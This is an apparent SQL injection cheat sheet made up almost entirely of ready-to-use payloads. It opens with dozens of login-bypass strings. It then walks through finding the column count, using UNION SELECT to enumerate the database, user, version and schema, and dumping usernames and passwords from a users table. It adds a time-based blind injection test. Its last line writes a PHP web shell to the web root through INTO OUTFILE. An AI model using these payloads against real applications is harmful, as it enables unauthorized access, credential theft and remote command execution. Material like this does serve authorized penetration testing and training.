SQL Injection Bypass

tom' or 1=1 LIMIT 1;#
or 1=1
or 1=1--
or 1=1#
or 1=1/
admin' --
admin' #
admin'/
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
admin' OR 1=1 -- //
' or 1=1 in (select @@version) -- //
' OR 1=1 in (SELECT * FROM users) -- //

Union based increment, increase by 1 until you get an error. Once you get an error, -1 that, is the right number of union coloumns expected. Example if you get error at number 6, means the number of coloumns is 5.

' ORDER BY 1-- //
' ORDER BY 2-- //
' ORDER BY 3-- //
' ORDER BY 4-- //
' ORDER BY 5-- //
' ORDER BY 6-- //

Then get info of the table and details:

%' UNION SELECT database(), user(), @@version, null, null -- //

Or adjust it:

' UNION SELECT null, null, database(), user(), @@version  -- //

And:

' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- //

Now dump data from a particular table:

' UNION SELECT null, username, password, description, null FROM users -- //

Blind SQL Injection:

' AND IF (1=1, sleep(3),'false') -- //

Code Execution with Union clause:

' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //